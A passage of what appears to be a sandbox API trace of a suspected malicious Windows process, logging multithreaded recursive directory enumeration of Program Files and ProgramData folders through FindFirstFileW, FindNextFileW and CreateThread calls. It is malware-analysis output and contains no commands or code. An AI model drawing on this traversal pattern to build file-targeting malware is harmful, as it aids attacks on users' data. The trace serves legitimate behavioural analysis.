	[0073.810] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731140) returned 1
	[0073.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d735d0) returned 1

Thread:
	id = 101
	os_tid = 0xd50

	[0073.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4733938
	[0073.811] wcscpy (in: _Dest=0x4733938, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0073.811] wcscat (in: _Dest=0x4733938, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\"
	[0073.811] wcscat (in: _Dest=0x4733938, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\*"
	[0073.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.811] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.811] wcscmp (_String1=".", _String2=".") returned 0
	[0073.811] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.811] wcscmp (_String1="..", _String2=".") returned 1
	[0073.811] wcscmp (_String1="..", _String2="..") returned 0
	[0073.811] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.811] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.811] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x4732c68
	[0073.811] wcscpy (in: _Dest=0x4732c68, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0073.811] wcscat (in: _Dest=0x4732c68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\"
	[0073.811] wcscat (in: _Dest=0x4732c68, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft"
	[0073.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4732c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0073.812] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe925f4a0, ftCreationTime.dwHighDateTime=0x1d5a2a5, ftLastAccessTime.dwLowDateTime=0xe8c32260, ftLastAccessTime.dwHighDateTime=0x1d59a19, ftLastWriteTime.dwLowDateTime=0xe8c32260, ftLastWriteTime.dwHighDateTime=0x1d59a19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1
	[0073.812] wcscmp (_String1="operamail.exe", _String2=".") returned 1
	[0073.812] wcscmp (_String1="operamail.exe", _String2="..") returned 1
	[0073.812] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe925f4a0, ftCreationTime.dwHighDateTime=0x1d5a2a5, ftLastAccessTime.dwLowDateTime=0xe8c32260, ftLastAccessTime.dwHighDateTime=0x1d59a19, ftLastWriteTime.dwLowDateTime=0xe8c32260, ftLastWriteTime.dwHighDateTime=0x1d59a19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 0
	[0073.812] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733938) returned 1
	[0073.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1

Thread:
	id = 102
	os_tid = 0xd4c

	[0073.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85970
	[0073.813] wcscpy (in: _Dest=0x2d85970, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0073.813] wcscat (in: _Dest=0x2d85970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\"
	[0073.813] wcscat (in: _Dest=0x2d85970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\*") returned="C:\\Program Files (x86)\\Windows Mail\\*"
	[0073.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.814] wcscmp (_String1=".", _String2=".") returned 0
	[0073.814] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.814] wcscmp (_String1="..", _String2=".") returned 1
	[0073.814] wcscmp (_String1="..", _String2="..") returned 0
	[0073.814] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa364dd0, ftCreationTime.dwHighDateTime=0x1d5a949, ftLastAccessTime.dwLowDateTime=0x2d899fd0, ftLastAccessTime.dwHighDateTime=0x1d5953f, ftLastWriteTime.dwLowDateTime=0x2d899fd0, ftLastWriteTime.dwHighDateTime=0x1d5953f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1
	[0073.814] wcscmp (_String1="accupos.exe", _String2=".") returned 1
	[0073.814] wcscmp (_String1="accupos.exe", _String2="..") returned 1
	[0073.814] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0073.814] wcscmp (_String1="en-US", _String2=".") returned 1
	[0073.814] wcscmp (_String1="en-US", _String2="..") returned 1
	[0073.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77720
	[0073.814] wcscpy (in: _Dest=0x2d77720, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0073.814] wcscat (in: _Dest=0x2d77720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\"
	[0073.814] wcscat (in: _Dest=0x2d77720, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US"
	[0073.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0073.822] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e2e740, ftCreationTime.dwHighDateTime=0x1d55ad6, ftLastAccessTime.dwLowDateTime=0xdd0cfed0, ftLastAccessTime.dwHighDateTime=0x1d55d9e, ftLastWriteTime.dwLowDateTime=0xdd0cfed0, ftLastWriteTime.dwHighDateTime=0x1d55d9e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebsd.exe", cAlternateFileName="")) returned 1
	[0073.822] wcscmp (_String1="freebsd.exe", _String2=".") returned 1
	[0073.822] wcscmp (_String1="freebsd.exe", _String2="..") returned 1
	[0073.822] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0073.822] wcscmp (_String1="msoe.dll", _String2=".") returned 1
	[0073.822] wcscmp (_String1="msoe.dll", _String2="..") returned 1
	[0073.822] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0073.822] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1
	[0073.822] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1
	[0073.822] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0073.823] wcscmp (_String1="oeimport.dll", _String2=".") returned 1
	[0073.823] wcscmp (_String1="oeimport.dll", _String2="..") returned 1
	[0073.823] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0073.823] wcscmp (_String1="wab.exe", _String2=".") returned 1
	[0073.823] wcscmp (_String1="wab.exe", _String2="..") returned 1
	[0073.823] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0073.823] wcscmp (_String1="wabimp.dll", _String2=".") returned 1
	[0073.823] wcscmp (_String1="wabimp.dll", _String2="..") returned 1
	[0073.823] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0073.823] wcscmp (_String1="wabmig.exe", _String2=".") returned 1
	[0073.823] wcscmp (_String1="wabmig.exe", _String2="..") returned 1
	[0073.823] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0073.823] wcscmp (_String1="WinMail.exe", _String2=".") returned 1
	[0073.823] wcscmp (_String1="WinMail.exe", _String2="..") returned 1
	[0073.823] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0073.823] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0073.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730d30) returned 1

Thread:
	id = 103
	os_tid = 0xd88

	[0073.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732ec0
	[0073.824] wcscpy (in: _Dest=0x4732ec0, _Source="C:\\Program Files (x86)\\Windows Multimedia Platform" | out: _Dest="C:\\Program Files (x86)\\Windows Multimedia Platform") returned="C:\\Program Files (x86)\\Windows Multimedia Platform"
	[0073.824] wcscat (in: _Dest=0x4732ec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Multimedia Platform\\") returned="C:\\Program Files (x86)\\Windows Multimedia Platform\\"
	[0073.824] wcscat (in: _Dest=0x4732ec0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Multimedia Platform\\*") returned="C:\\Program Files (x86)\\Windows Multimedia Platform\\*"
	[0073.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Multimedia Platform\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b5d2f71, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b5d2f71, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.824] wcscmp (_String1=".", _String2=".") returned 0
	[0073.824] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b5d2f71, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b5d2f71, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.824] wcscmp (_String1="..", _String2=".") returned 1
	[0073.824] wcscmp (_String1="..", _String2="..") returned 0
	[0073.824] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8bfb060, ftCreationTime.dwHighDateTime=0x1d5ce57, ftLastAccessTime.dwLowDateTime=0x5a8094b0, ftLastAccessTime.dwHighDateTime=0x1d5ca9d, ftLastWriteTime.dwLowDateTime=0x5a8094b0, ftLastWriteTime.dwHighDateTime=0x1d5ca9d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1
	[0073.824] wcscmp (_String1="barca.exe", _String2=".") returned 1
	[0073.824] wcscmp (_String1="barca.exe", _String2="..") returned 1
	[0073.825] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcd15210, ftCreationTime.dwHighDateTime=0x1d55f70, ftLastAccessTime.dwLowDateTime=0xa2159f0, ftLastAccessTime.dwHighDateTime=0x1d5a9aa, ftLastWriteTime.dwLowDateTime=0xa2159f0, ftLastWriteTime.dwHighDateTime=0x1d5a9aa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="soundtrack-install.exe", cAlternateFileName="SOUNDT~1.EXE")) returned 1
	[0073.825] wcscmp (_String1="soundtrack-install.exe", _String2=".") returned 1
	[0073.825] wcscmp (_String1="soundtrack-install.exe", _String2="..") returned 1
	[0073.825] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954773d8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x954773d8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x954773d8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0073.825] wcscmp (_String1="sqmapi.dll", _String2=".") returned 1
	[0073.825] wcscmp (_String1="sqmapi.dll", _String2="..") returned 1
	[0073.825] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954773d8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x954773d8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x954773d8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0073.825] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732ec0) returned 1
	[0073.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d543c0) returned 1

Thread:
	id = 104
	os_tid = 0xd90

	[0073.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7be00
	[0073.826] wcscpy (in: _Dest=0x2d7be00, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0073.826] wcscat (in: _Dest=0x2d7be00, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\"
	[0073.826] wcscat (in: _Dest=0x2d7be00, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\*") returned="C:\\ProgramData\\Adobe\\*"
	[0073.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.826] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.826] wcscmp (_String1=".", _String2=".") returned 0
	[0073.826] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.826] wcscmp (_String1="..", _String2=".") returned 1
	[0073.826] wcscmp (_String1="..", _String2="..") returned 0
	[0073.826] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0073.827] wcscmp (_String1="ARM", _String2=".") returned 1
	[0073.827] wcscmp (_String1="ARM", _String2="..") returned 1
	[0073.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70f00
	[0073.827] wcscpy (in: _Dest=0x2d70f00, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0073.827] wcscat (in: _Dest=0x2d70f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\"
	[0073.827] wcscat (in: _Dest=0x2d70f00, _Source="ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0073.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0073.827] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0
	[0073.827] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be00) returned 1
	[0073.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bdc8) returned 1

Thread:
	id = 105
	os_tid = 0xd34

	[0073.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4730ec0
	[0073.833] wcscpy (in: _Dest=0x4730ec0, _Source="C:\\ProgramData\\Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data"
	[0073.833] wcscat (in: _Dest=0x4730ec0, _Source="\\" | out: _Dest="C:\\ProgramData\\Application Data\\") returned="C:\\ProgramData\\Application Data\\"
